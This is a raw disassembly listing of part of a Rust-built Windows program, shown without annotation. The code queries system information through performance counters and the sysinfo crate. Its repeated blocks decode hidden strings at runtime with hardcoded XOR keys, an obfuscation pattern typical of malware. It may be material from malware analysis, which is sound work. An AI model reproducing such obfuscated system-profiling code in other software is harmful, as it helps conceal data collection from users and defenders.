mov ebx, esi
sub edx, 1
jb 0x41f448
mov ebx, dword [ebx + 0x1ec]
jmp 0x41f42f
cmp dword [esp + 8], 0
jne 0x41f474
jmp 0x4206a9
xor edx, edx
xor eax, eax
xor esi, esi
inc eax
mov dword [esp + 8], eax
jmp 0x41f474
mov ecx, edi
mov edx, ebx
push esi
call fcn.0044709c
pop eax
mov ebx, dword [esp + 0x24]
test ebx, ebx
je 0x4204d6
mov esi, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
movzx eax, word [ebx + 0x1ea]
cmp edx, eax
jae 0x41f455
lea eax, [edx + 1]
test esi, esi
je 0x41f4a5
lea eax, [ebx + eax*4 + 0x1ec]
mov edi, dword [eax]
dec esi
lea eax, [edi + 0x1ec]
jne 0x41f48d
mov dword [esp + 0xe0], 0
jmp 0x41f4ae
mov edi, ebx
mov dword [esp + 0xe0], eax
imul esi, edx, 0x1c
mov dword [esp + 0x10], edx
mov ecx, dword [ebx + esi + 0xb4]
mov edx, dword [ebx + esi + 0xb8]
call fcn.00563c9c
mov ecx, dword [ebx + esi + 0xc4]
mov edx, dword [ebx + esi + 0xc8]
call fcn.00567db4
mov eax, dword [esp + 0x10]
shl eax, 4
mov ecx, dword [ebx + eax]
mov edx, dword [ebx + eax + 4]
call fcn.004767d9
mov edx, dword [esp + 0xe0]
mov ebx, edi
xor esi, esi
lea edi, [esp + 0x24]
mov eax, dword [esp + 0xc]
sub eax, 1
jae 0x41f41e
cmp dword [esp + 8], 0
mov dword [esp + 0x10], edx
je 0x41f549
test ebx, ebx
mov edx, ebx
mov eax, esi
jne 0x41f538
mov eax, dword [esp + 0x10]
mov edx, esi
sub eax, 1
jb 0x41f530
mov edx, dword [edx + 0x1ec]
jmp 0x41f523
xor eax, eax
jmp 0x41f538
mov eax, dword [esp + 0x28]
mov ecx, edi
push eax
call fcn.0044709c
pop eax
mov edx, dword [esp + 0x24]
test edx, edx
jne 0x41f534
mov ecx, dword [esp + 0x274]
mov edx, dword [esp + 0x278]
call fcn.004767d9
mov ecx, dword [esp + 0x240]
mov edx, dword [esp + 0x244]
call fcn.0055b3d0
mov ecx, dword [esp + 0x248]
mov edx, dword [esp + 0x24c]
call fcn.0055b3d0
mov ecx, dword [esp + 0x250]
mov edx, dword [esp + 0x254]
call fcn.0055b3d0
mov eax, dword [esp + 0x298]
test eax, eax
je 0x41f5ce
mov edx, dword [esp + 0x2a0]
mov ecx, dword [esp + 0x29c]
mov dword [esp + 0xc0], 0
mov dword [esp + 4], eax
mov dword [esp + 8], edx
xor edx, edx
mov dword [esp + 0x14], ecx
inc edx
mov dword [esp + 0xc], edx
jmp 0x41f5de
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 0x200], esi
cmp dword [esp + 8], 0
lea edi, [esp + 0x24]
je 0x41f6ee
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 0xc0]
mov ecx, dword [esp + 0x14]
test eax, eax
je 0x41f61c
test edx, edx
jne 0x41f61c
mov edx, dword [esp + 4]
sub ecx, 1
jb 0x41f625
mov edx, dword [edx + 0xb8]
jmp 0x41f60f
test eax, eax
jne 0x41f632
jmp 0x4206a9
xor ecx, ecx
xor eax, eax
mov dword [esp + 4], 0
inc eax
dec dword [esp + 8]
mov dword [esp + 0xc], eax
mov eax, ecx
movzx ecx, word [edx + 0xb6]
cmp eax, ecx
jb 0x41f66d
mov ecx, edi
push dword [esp + 4]
call fcn.005586c4
pop eax
mov edx, dword [esp + 0x24]
test edx, edx
je 0x4204d6
mov eax, dword [esp + 0x28]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x2c]
jmp 0x41f63c
mov esi, dword [esp + 4]
lea ecx, [eax + 1]
test esi, esi
je 0x41f69b
lea ecx, [edx + ecx*4 + 0xb8]
mov edi, dword [ecx]
dec esi
lea ecx, [edi + 0xb8]
jne 0x41f67f
mov dword [esp + 0xc0], edi
mov dword [esp + 0x14], 0
jmp 0x41f6a6
mov dword [esp + 0x14], ecx
mov dword [esp + 0xc0], edx
imul eax, eax, 0xc
mov ecx, dword [edx + eax + 0x30]
mov edi, dword [edx + eax + 0x34]
mov dword [esp + 0xe0], ecx
push ecx
call dword [edi]
add esp, 4
mov eax, dword [edi + 4]
mov esi, dword [esp + 0x200]
mov dword [esp + 4], 0
test eax, eax
je 0x41f5e5
mov edx, dword [edi + 8]
mov ecx, dword [esp + 0xe0]
push eax
call fcn.00408833
pop eax
jmp 0x41f5e5
cmp dword [esp + 0xc], 0
je 0x41f732
mov edx, dword [esp + 0xc0]
mov eax, dword [esp + 4]
test edx, edx
jne 0x41f721
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 4]
sub eax, 1
jb 0x41f719
mov edx, dword [edx + 0xb8]
jmp 0x41f70c
xor eax, eax
jmp 0x41f721
mov eax, dword [esp + 0x28]
mov ecx, edi
push eax
call fcn.005586c4
pop eax
mov edx, dword [esp + 0x24]
test edx, edx
jne 0x41f71d
cmp dword [esp + 0x20], 0x80000000
jne 0x41f237
cmp byte [esp + 0x64], 3
jne 0x41f237
mov eax, dword [esp + 0x68]
mov ecx, dword [eax]
mov edi, dword [eax + 4]
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
push ecx
call dword [edi]
add esp, 4
mov eax, dword [edi + 4]
test eax, eax
je 0x41f777
mov edx, dword [edi + 8]
mov ecx, dword [esp + 0xc]
push eax
call fcn.00408833
pop eax
mov ecx, dword [esp + 8]
push 4
pop edx
call fcn.004256e0
lea edi, [esp + 0x24]
jmp 0x41f237
mov eax, dword [esp + 0x18]
jmp 0x41f1ca
lea ecx, [esp + 0xa0]
call fcn.0055ca9f
mov edx, dword [esp + 0x144]
lea ebx, [esp + 0x240]
test edx, edx
je 0x41f822
mov eax, dword [esp + 0x14c]
mov ecx, dword [esp + 0x140]
test eax, eax
je 0x41f817
movdqa xmm0, xmmword [ecx]
lea esi, [esp + 0x240]
lea edx, [edx + ecx + 1]
pmovmskb edi, xmm0
not edi
mov word [esi + 0xc], di
mov dword [esi], ecx
add ecx, 0x10
mov dword [esi + 4], ecx
mov dword [esi + 8], edx
mov dword [esi + 0x10], eax
mov ecx, esi
call fcn.00558cd7
test eax, eax
je 0x41f805
add eax, 0xffffff20
mov ecx, eax
call fcn.005559d7
jmp 0x41f7ec
mov ecx, dword [esp + 0x140]
mov edx, dword [esp + 0x144]
lea edi, [esp + 0x24]
push 0xe8
call fcn.00409f6e
pop eax
mov ecx, dword [esp + 0xf8]
mov edx, dword [esp + 0xfc]
call fcn.00563c9c
mov ecx, dword [esp + 0x11c]
cmp ecx, 0x80000000
je 0x41f850
mov edx, dword [esp + 0x120]
call fcn.00563c9c
mov ecx, dword [esp + 0x104]
mov edx, dword [esp + 0x108]
call fcn.00563c9c
mov ecx, dword [esp + 0x110]
mov edx, dword [esp + 0x114]
call fcn.00563c9c
mov ecx, dword [esp + 0x134]
mov edx, dword [esp + 0x138]
call fcn.00558c0e
mov ecx, dword [esp + 0x130]
mov edx, dword [esp + 0x134]
call fcn.00453f75
mov ecx, dword [esp + 0x1d4]
mov edx, dword [esp + 0x1d8]
call fcn.00558b1e
mov ecx, dword [esp + 0x1d0]
mov edx, dword [esp + 0x1d4]
call fcn.00558c6f
mov ecx, dword [esp + 0x1e0]
mov edx, dword [esp + 0x1e4]
call fcn.00555915
mov ecx, dword [esp + 0x1dc]
mov edx, dword [esp + 0x1e0]
call fcn.0055595a
mov eax, dword [esp + 0x1a0]
test eax, eax
je 0x41f9dd
movdqa xmm0, xmmword [eax]
mov edx, dword [esp + 0x1a4]
mov ecx, dword [esp + 0x1ac]
lea esi, [esp + 0x240]
mov dword [esi], eax
pmovmskb edi, xmm0
lea edx, [edx + eax + 1]
add eax, 0x10
not edi
mov dword [esi + 4], eax
mov dword [esi + 8], edx
mov word [esi + 0xc], di
mov dword [esi + 0x10], ecx
mov ecx, esi
call fcn.00558c8b
test eax, eax
je 0x41f941
push dword [eax - 4]
call sub.pdh.dll_PdhRemoveCounter
jmp 0x41f92c
mov eax, dword [esp + 0x1c4]
test eax, eax
je 0x41f952
push eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [esp + 0x1c0]
lea edi, [esp + 0x24]
test eax, eax
je 0x41f967
push eax
call sub.pdh.dll_PdhCloseQuery
mov edx, dword [esp + 0x1a4]
test edx, edx
je 0x41f9dd
mov eax, dword [esp + 0x1ac]
mov ecx, dword [esp + 0x1a0]
test eax, eax
je 0x41f9d5
movdqa xmm0, xmmword [ecx]
lea esi, [esp + 0x240]
lea edx, [edx + ecx + 1]
mov dword [esi], ecx
add ecx, 0x10
mov dword [esi + 4], ecx
mov dword [esi + 8], edx
pmovmskb edi, xmm0
not edi
mov word [esi + 0xc], di
mov dword [esi + 0x10], eax
mov ecx, esi
call fcn.00558c8b
test eax, eax
je 0x41f9c3
mov ecx, dword [eax - 0x10]
mov edx, dword [eax - 0xc]
call fcn.00563c9c
jmp 0x41f9ab
mov ecx, dword [esp + 0x1a0]
mov edx, dword [esp + 0x1a4]
lea edi, [esp + 0x24]
push 0x10
call fcn.004fe4bb
pop eax
mov edx, dword [esp + 0x164]
test edx, edx
je 0x41fa56
mov eax, dword [esp + 0x16c]
mov ecx, dword [esp + 0x160]
test eax, eax
je 0x41fa4b
movdqa xmm0, xmmword [ecx]
lea esi, [esp + 0x240]
lea edx, [edx + ecx + 1]
pmovmskb edi, xmm0
not edi
mov word [esi + 0xc], di
mov dword [esi], ecx
add ecx, 0x10
mov dword [esi + 4], ecx
mov dword [esi + 8], edx
mov dword [esi + 0x10], eax
mov ecx, esi
call fcn.00558542
test eax, eax
je 0x41fa39
mov ecx, dword [eax - 0x80]
mov edx, dword [eax - 0x7c]
call fcn.00563c9c
jmp 0x41fa21
mov ecx, dword [esp + 0x160]
mov edx, dword [esp + 0x164]
lea edi, [esp + 0x24]
push pe_nt_image_headers32
call fcn.00409f6e
pop eax
mov ecx, dword [esp + 0x1ec]
mov edx, dword [esp + 0x1f0]
call fcn.00558bd7
mov ecx, dword [esp + 0x1e8]
mov edx, dword [esp + 0x1ec]
call fcn.00558c53
lea eax, [0x61f636]
lea esi, [esp + 0x240]
mov dword [esi], eax
mov ecx, dword [esi]
mov dword [esi], 0xaa7873c2
mov edx, dword [esi]
call fcn.00408ab9
movzx ecx, byte [eax + 2]
movzx eax, word [eax]
lea edx, [esp + 0xa0]
xor cl, 0x32
xor eax, 0x4886
mov byte [edx + 2], cl
mov ecx, esi
mov word [edx], ax
push 3
call fcn.00555000
pop eax
lea eax, [0x61e9ae]
lea esi, [esp + 0xf0]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xaf106adc
mov edx, dword [esp + 0xf0]
call fcn.00408ed8
movzx eax, word [eax]
xor eax, 0xcd73
mov word [esp + 0x24], ax
lea eax, [0x61e213]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xd5c63085
mov edx, dword [esp + 0xf0]
call fcn.00408e91
pxor xmm0, xmm0
xor ecx, ecx
movdqa xmmword [esp + 0x100], xmm0
movdqa xmmword [esp + 0xf0], xmm0
cmp ecx, 0x1f
ja 0x41fb5c
mov edx, dword [ecx + 0x5d5de6]
xor edx, dword [eax + ecx]
mov dword [esp + ecx + 0xf0], edx
add ecx, 4
jmp 0x41fb42
movzx ecx, byte [eax + 0x22]
movzx eax, word [eax + 0x20]
lea esi, [esp + 0xf0]
lea edx, [esp + 0x40]
mov dword [edx], edi
lea edi, [esp + 0x240]
mov dword [edx + 4], 2
xor eax, 0x67dc
xor cl, 0xf0
mov word [esi + 0x20], ax
mov byte [esi + 0x22], cl
mov ecx, edi
movdqa xmm1, xmmword [esi + 0x10]
mov eax, dword [esi + 0x1f]
movdqa xmm0, xmmword [esi]
movdqa xmmword [esp + 0x70], xmm1
mov dword [esp + 0x7f], eax
lea eax, [esp + 0x60]
movdqa xmmword [esp + 0x60], xmm0
mov dword [edx + 8], eax
mov dword [edx + 0xc], 0x23
call fcn.00404511
mov ecx, esi
mov edx, edi
call fcn.00551750
cmp dword [esi], 0x80000000
jne 0x41fbde
lea ecx, [esp + 0xf0]
call fcn.00405c52
jmp 0x41fbea
lea ecx, [esp + 0xf0]
call fcn.00405393
lea edi, [esp + 0x240]
mov ecx, edi
call fcn.004053b1
lea eax, [0x621ef0]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0xc515571c
mov edx, dword [edi]
call fcn.004091a9
movzx ecx, byte [eax + 2]
movzx eax, word [eax]
lea edx, [esp + 0xa0]
xor cl, 0xc4
xor eax, 0xd73b
mov byte [edx + 2], cl
lea ecx, [esp + 0x240]
mov word [edx], ax
push 3
call fcn.00555000
pop eax
lea eax, [0x621ac0]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x501c4251
mov edx, dword [esp + 0xf0]
call fcn.00408a71
movzx eax, word [eax]
xor eax, 0x6f7d
mov word [esp + 0x24], ax
lea eax, [0x622ae6]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x22b1ae3e
mov edx, dword [esp + 0xf0]
call fcn.0040911d
and dword [esp + 0x104], 0
and dword [esp + 0x100], 0
and dword [esp + 0x108], 0
pxor xmm0, xmm0
xor ecx, ecx
lea edi, [esp + 0x24]
movdqa xmmword [esp + 0xf0], xmm0
cmp ecx, 0x1b
ja 0x41fce2
mov edx, dword [ecx + 0x5d5e09]
xor edx, dword [eax + ecx]
mov dword [esp + ecx + 0xf0], edx
add ecx, 4
jmp 0x41fcc8
movzx eax, word [eax + 0x1c]
lea esi, [esp + 0xf0]
lea edx, [esp + 0x40]
mov dword [edx], edi
lea edi, [esp + 0x240]
mov dword [edx + 4], 2
mov ecx, edi
xor eax, 0x7b5e
mov word [esi + 0x1c], ax
lea eax, [esp + 0x60]
movdqa xmm0, xmmword [esi]
movsd xmm2, qword [esi + 0x10]
movq xmm1, qword [esi + 0x16]
mov dword [edx + 8], eax
mov dword [edx + 0xc], 0x1e
movsd qword [esp + 0x70], xmm2
movdqa xmmword [esp + 0x60], xmm0
movq qword [esp + 0x76], xmm1
call fcn.00404511
mov ecx, esi
mov edx, edi
call fcn.00551750
cmp dword [esi], 0x80000000
jne 0x41fd5e
lea ecx, [esp + 0xf0]
call fcn.00405c52
jmp 0x41fd6a
lea ecx, [esp + 0xf0]
call fcn.00405393
lea edi, [esp + 0x240]
mov ecx, edi
call fcn.004053b1
lea eax, [0x61d2d8]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0x193fb9f4
mov edx, dword [edi]
call fcn.00408b16
movzx ecx, byte [eax + 2]
movzx eax, word [eax]
lea edx, [esp + 0xa0]
xor cl, 0xc0
xor eax, 0xd544
mov byte [edx + 2], cl
lea ecx, [esp + 0x240]
mov word [edx], ax
push 3
call fcn.00555000
pop eax
lea eax, [0x61e3f4]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xde1844f6
mov edx, dword [esp + 0xf0]
call fcn.00408da2
movzx eax, word [eax]
xor eax, 0xa411
mov word [esp + 0x24], ax
lea eax, [0x61dca2]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xfddab688
mov edx, dword [esp + 0xf0]
call fcn.00408d25
pxor xmm0, xmm0
xor ecx, ecx
lea edi, [esp + 0x24]
movdqa xmmword [esp + 0x100], xmm0
movdqa xmmword [esp + 0xf0], xmm0
cmp ecx, 0x1f
ja 0x41fe53
mov edx, dword [ecx + 0x5d5ec6]
xor edx, dword [eax + ecx]
mov dword [esp + ecx + 0xf0], edx
add ecx, 4
jmp 0x41fe39
lea esi, [esp + 0xf0]
lea edx, [esp + 0x40]
lea eax, [esp + 0x60]
movdqa xmm0, xmmword [esi]
movdqa xmm1, xmmword [esi + 0x10]
mov dword [edx], edi
lea edi, [esp + 0x240]
mov dword [edx + 4], 2
mov dword [edx + 8], eax
mov dword [edx + 0xc], 0x20
mov ecx, edi
movdqa xmmword [esp + 0x70], xmm1
movdqa xmmword [esp + 0x60], xmm0
call fcn.00404511
mov ecx, esi
mov edx, edi
call fcn.00551750
cmp dword [esi], 0x80000000
jne 0x41feb7
lea ecx, [esp + 0xf0]
call fcn.00405c52
jmp 0x41fec3
lea ecx, [esp + 0xf0]
call fcn.00405393
lea edi, [esp + 0x240]
mov ecx, edi
call fcn.004053b1
lea eax, [0x61c133]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0x64e3f84b
mov edx, dword [edi]
call fcn.00408f5e
movzx ecx, byte [eax + 2]
movzx eax, word [eax]
lea edx, [esp + 0xa0]
xor cl, 0x84
xor eax, 0xd647
mov byte [edx + 2], cl
lea ecx, [esp + 0x240]
mov word [edx], ax
push 3
call fcn.00555000
pop eax
lea eax, [0x61d5eb]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x2641c438
mov edx, dword [esp + 0xf0]
call fcn.004092ed
movzx eax, word [eax]
xor eax, 0xc86c
mov word [esp + 0x24], ax
lea eax, [0x6156fd]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x4fca08af
mov edx, dword [esp + 0xf0]
call fcn.004092d1
and dword [esp + 0x114], 0
and dword [esp + 0x110], 0
and dword [esp + 0x118], 0
pxor xmm0, xmm0
xor ecx, ecx
lea edi, [esp + 0x24]
movdqa xmmword [esp + 0x100], xmm0
movdqa xmmword [esp + 0xf0], xmm0
cmp ecx, 0x2b
ja 0x41ffc4
mov edx, dword [ecx + 0x5d5ee6]
xor edx, dword [eax + ecx]
mov dword [esp + ecx + 0xf0], edx
add ecx, 4
jmp 0x41ffaa
movzx eax, word [eax + 0x2c]
lea esi, [esp + 0xf0]
lea edx, [esp + 0x40]
mov dword [edx], edi
lea edi, [esp + 0x240]
mov dword [edx + 4], 2
mov ecx, edi
xor eax, 0xf9ec
mov word [esi + 0x2c], ax
lea eax, [esp + 0x60]
movaps xmm1, xmmword [esi + 0x10]
movdqa xmm0, xmmword [esi]
movsd xmm2, qword [esi + 0x20]
mov dword [edx + 8], eax
mov dword [edx + 0xc], 0x2e
movaps xmmword [esp + 0x70], xmm1
movq xmm1, qword [esi + 0x26]
movsd qword [esp + 0x80], xmm2
movdqa xmmword [esp + 0x60], xmm0
movq qword [esp + 0x86], xmm1
call fcn.00404511
mov ecx, esi
mov edx, edi
call fcn.00551750
cmp dword [esi], 0x80000000
jne 0x42004f
lea ecx, [esp + 0xf0]
call fcn.00405c52
jmp 0x42005b
lea ecx, [esp + 0xf0]
call fcn.00405393
lea edi, [esp + 0x240]
mov ecx, edi
call fcn.004053b1
lea eax, [0x614304]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0xa68c6f5c
mov edx, dword [edi]
call fcn.00408e4b
movzx ecx, byte [eax + 2]
movzx eax, word [eax]
lea edx, [esp + 0xa0]
xor cl, 0x7d
xor eax, 0x8bd8
mov byte [edx + 2], cl
lea ecx, [esp + 0x240]
mov word [edx], ax
push 3
call fcn.00555000
pop eax
lea eax, [0x6137a1]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xa9214ea7
mov edx, dword [esp + 0xf0]
call fcn.00409184
movzx eax, word [eax]
xor eax, 0xea15
mov word [esp + 0x24], ax
lea eax, [0x616f1b]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x8b92b6d1
mov edx, dword [esp + 0xf0]
call fcn.004091f3
pxor xmm0, xmm0
xor ecx, ecx
lea edi, [esp + 0x24]
movdqa xmmword [esp + 0x100], xmm0
movdqa xmmword [esp + 0xf0], xmm0
cmp ecx, 0x1f
ja 0x420144
mov edx, dword [ecx + 0x5d5f14]
xor edx, dword [eax + ecx]
mov dword [esp + ecx + 0xf0], edx
add ecx, 4
jmp 0x42012a
movzx ecx, byte [eax + 0x22]
movzx eax, word [eax + 0x20]
lea esi, [esp + 0xf0]
lea edx, [esp + 0x40]
mov dword [edx], edi
lea edi, [esp + 0x240]
mov dword [edx + 4], 2
xor eax, 0xeaa1
xor cl, 0x24
mov word [esi + 0x20], ax
mov byte [esi + 0x22], cl
mov ecx, edi
movdqa xmm1, xmmword [esi + 0x10]
mov eax, dword [esi + 0x1f]
movdqa xmm0, xmmword [esi]
movdqa xmmword [esp + 0x70], xmm1
mov dword [esp + 0x7f], eax
lea eax, [esp + 0x60]
movdqa xmmword [esp + 0x60], xmm0
mov dword [edx + 8], eax
mov dword [edx + 0xc], 0x23
call fcn.00404511
mov ecx, esi
mov edx, edi
call fcn.00551750
cmp dword [esi], 0x80000000
jne 0x4201c6
lea ecx, [esp + 0xf0]
call fcn.00405c52
jmp 0x4201d2
lea ecx, [esp + 0xf0]
call fcn.00405393
lea edi, [esp + 0x240]
mov ecx, edi
call fcn.004053b1
lea eax, [0x61ea6d]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0x9ce9acb7
mov edx, dword [edi]
call fcn.00408a22
movzx ecx, byte [eax + 2]
movzx eax, word [eax]
lea edx, [esp + 0xa0]
xor cl, 0x3a
xor eax, 0xf37d
mov byte [edx + 2], cl
lea ecx, [esp + 0x240]
mov word [edx], ax
push 3
call fcn.00555000
pop eax
lea eax, [0x616bf3]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x5bbddb63
mov edx, dword [esp + 0xf0]
call fcn.00409013
movzx eax, word [eax]
xor eax, 0x670a
mov word [esp + 0x24], ax
lea eax, [0x61ca08]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x3fe82b20
mov edx, dword [esp + 0xf0]
call fcn.00409033
and dword [esp + 0x114], 0
and dword [esp + 0x110], 0
pxor xmm0, xmm0
xor ecx, ecx
lea edi, [esp + 0x24]
movdqa xmmword [esp + 0x100], xmm0
movdqa xmmword [esp + 0xf0], xmm0
cmp ecx, 0x27
ja 0x4202cb
mov edx, dword [ecx + 0x5d5e64]
xor edx, dword [eax + ecx]
mov dword [esp + ecx + 0xf0], edx
add ecx, 4
jmp 0x4202b1
lea esi, [esp + 0xf0]
mov al, byte [eax + 0x28]
lea edx, [esp + 0x40]
movaps xmm1, xmmword [esi + 0x10]
movdqa xmm0, xmmword [esi]
mov dword [edx], edi
lea edi, [esp + 0x240]
mov dword [edx + 4], 2
mov ecx, edi
xor al, 0x4d
movaps xmmword [esp + 0x70], xmm1
movq xmm1, qword [esi + 0x20]
mov byte [esp + 0x88], al
lea eax, [esp + 0x60]
movdqa xmmword [esp + 0x60], xmm0
mov dword [edx + 8], eax
mov dword [edx + 0xc], 0x29
movq qword [esp + 0x80], xmm1
call fcn.00404511
mov ecx, esi
mov edx, edi
call fcn.00551750
cmp dword [esi], 0x80000000
jne 0x420347
lea ecx, [esp + 0xf0]
call fcn.00405c52
jmp 0x420353
lea ecx, [esp + 0xf0]
call fcn.00405393
lea edi, [esp + 0x240]
mov ecx, edi
call fcn.004053b1
lea eax, [0x61d4da]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0x673e3bd5
mov edx, dword [edi]
call fcn.0040908f
movzx ecx, byte [eax + 2]
movzx eax, word [eax]
lea edx, [esp + 0xa0]
xor cl, 0x73
xor eax, 0x7e8e
mov byte [edx + 2], cl
lea ecx, [esp + 0x240]
mov word [edx], ax
push 3
call fcn.00555000
pop eax
lea eax, [0x617040]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x713e8f89
mov edx, dword [esp + 0xf0]
call fcn.00408ada
movzx eax, word [eax]
xor eax, 0xdb8
mov word [esp + 0x24], ax
lea eax, [0x618cfb]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x773a2a7
mov edx, dword [esp + 0xf0]
call fcn.00408b86
and dword [esp + 0x124], 0
and dword [esp + 0x120], 0
pxor xmm0, xmm0
xor ecx, ecx
movdqa xmmword [esp + 0x110], xmm0
movdqa xmmword [esp + 0x100], xmm0
movdqa xmmword [esp + 0xf0], xmm0
cmp ecx, 0x37
ja 0x420451
mov edx, dword [ecx + 0x5d5e8d]
xor edx, dword [eax + ecx]
mov dword [esp + ecx + 0xf0], edx
add ecx, 4
jmp 0x420437
mov al, byte [eax + 0x38]
lea edi, [esp + 0xf0]
xor al, 0x62
mov byte [edi + 0x38], al
push 0x39
pop ebx
push ebx
push esi
lea esi, [esp + 0x68]
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
lea edx, [esp + 0x40]
lea eax, [esp + 0x24]
mov dword [edx], eax
mov dword [edx + 4], 2
mov dword [edx + 8], esi
lea esi, [esp + 0x240]
mov dword [edx + 0xc], ebx
mov ecx, esi
call fcn.00404511
mov ecx, edi
mov edx, esi
call fcn.00551750
cmp dword [edi], 0x80000000
jne 0x4204b6
lea ecx, [esp + 0xf0]
call fcn.00405c52
jmp 0x4204c2
lea ecx, [esp + 0xf0]
call fcn.00405393
lea ecx, [esp + 0x240]
call fcn.004053b1
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x2b
pop edx
mov ecx, str.called__Option::unwrap____on_a__None__valueC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
push 0x69eb68
call fcn.0043a9e0
mov dword [esp + 0x60], ecx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], 0x32
push 8
pop ebx
jmp 0x41e5e1
movsd xmm0, qword [esp + 0x3bc]
movsd xmm2, qword [esp + 0x3ac]
movsd xmm1, qword [esp + 0x3b4]
lea esi, [esp + 0x3c4]
lea edi, [esp + 0xa0]
mov ecx, edi
mov edx, esi
movsd qword [esi + 0x14], xmm0
movsd qword [esi + 0xc], xmm1
movsd qword [esi + 4], xmm2
mov dword [esi], eax
push 1
call fcn.0055aea4
pop eax
mov ebx, dword [edi + 4]
mov eax, dword [esi + 0x18]
movsd xmm0, qword [esi + 0x10]
movsd xmm2, qword [esi]
movsd xmm1, qword [esi + 8]
cmp ebx, 2
mov dword [esp + 0x78], eax
movsd qword [esp + 0x70], xmm0
movsd qword [esp + 0x68], xmm1
movsd qword [esp + 0x60], xmm2
jne 0x420588
lea ecx, [esp + 0x60]
call fcn.00558b5a
xor esi, esi
push 8
pop ebx
jmp 0x41d869
movss xmm2, dword [esp + 0xa8]
movsd xmm1, qword [esp + 0x3d4]
movss xmm0, dword [esp + 0xa0]
mov eax, dword [esp + 0x3dc]
movss dword [esp + 8], xmm2
movsd qword [esp + 0x100], xmm1
movsd xmm2, qword [esp + 0x3c4]
movsd xmm1, qword [esp + 0x3cc]
movss dword [esp + 4], xmm0
mov dword [esp + 0x108], eax
movsd qword [esp + 0xf8], xmm1
movsd qword [esp + 0xf0], xmm2
push 8
pop ecx
xor edx, edx
call fcn.00487eba
mov dword [edx + 4], 0x72657475
mov dword [edx], 0x706d6f43
mov esi, eax
mov edi, edx
movsd xmm1, qword [esp + 0xf8]
movsd xmm0, qword [esp + 0xf0]
mov eax, dword [esp + 0x108]
movsd qword [esp + 0x48], xmm1
movsd xmm1, qword [esp + 0x100]
movsd qword [esp + 0x40], xmm0
mov dword [esp + 0x58], eax
movsd qword [esp + 0x50], xmm1
push 0x38
pop ecx
push 4
pop edx
call fcn.0047a4d8
movss xmm0, dword [esp + 8]
mov dword [eax], ebx
mov dword [esp + 0xc], eax
movss dword [eax + 4], xmm0
movsd xmm0, qword [esp + 0x40]
movsd xmm1, qword [esp + 0x48]
movsd qword [eax + 8], xmm0
movsd qword [eax + 0x10], xmm1
movsd xmm0, qword [esp + 0x50]
movsd qword [eax + 0x18], xmm0
movss xmm0, dword [esp + 4]
mov ecx, dword [esp + 0x58]
mov dword [eax + 0x20], ecx
mov dword [eax + 0x24], esi
mov dword [eax + 0x28], edi
mov dword [eax + 0x2c], 8
movss dword [eax + 0x30], xmm0
movss dword [eax + 0x34], xmm0
push 8
pop ebx
xor esi, esi
inc esi
jmp 0x41d869
push 0x2b
pop edx
mov ecx, str.called__Option::unwrap____on_a__None__valueC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
push 0x69eb78
call fcn.0043a9e0
call fcn.004341f0
push 0x37
pop edx
mov ecx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrary_alloc_src_string.rs
push 0x6c3b0c
push 0x69eac8
lea eax, [esp + 0x228]
push eax
call fcn.0043f6f0
mov edx, edi
call fcn.00434230
push 0x14
pop edx
mov ecx, str.key_used_disappearedg
push 0x69f1f4
call fcn.004408d0
push 8
pop ecx
mov edx, 0xa0
call fcn.00434230
push 0x1b
pop edx
mov ecx, str.global_key_idle_disappearedC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sysinfo_0.29.11_srcwindows_system.rsg
push 0x69f1d0
call fcn.004408d0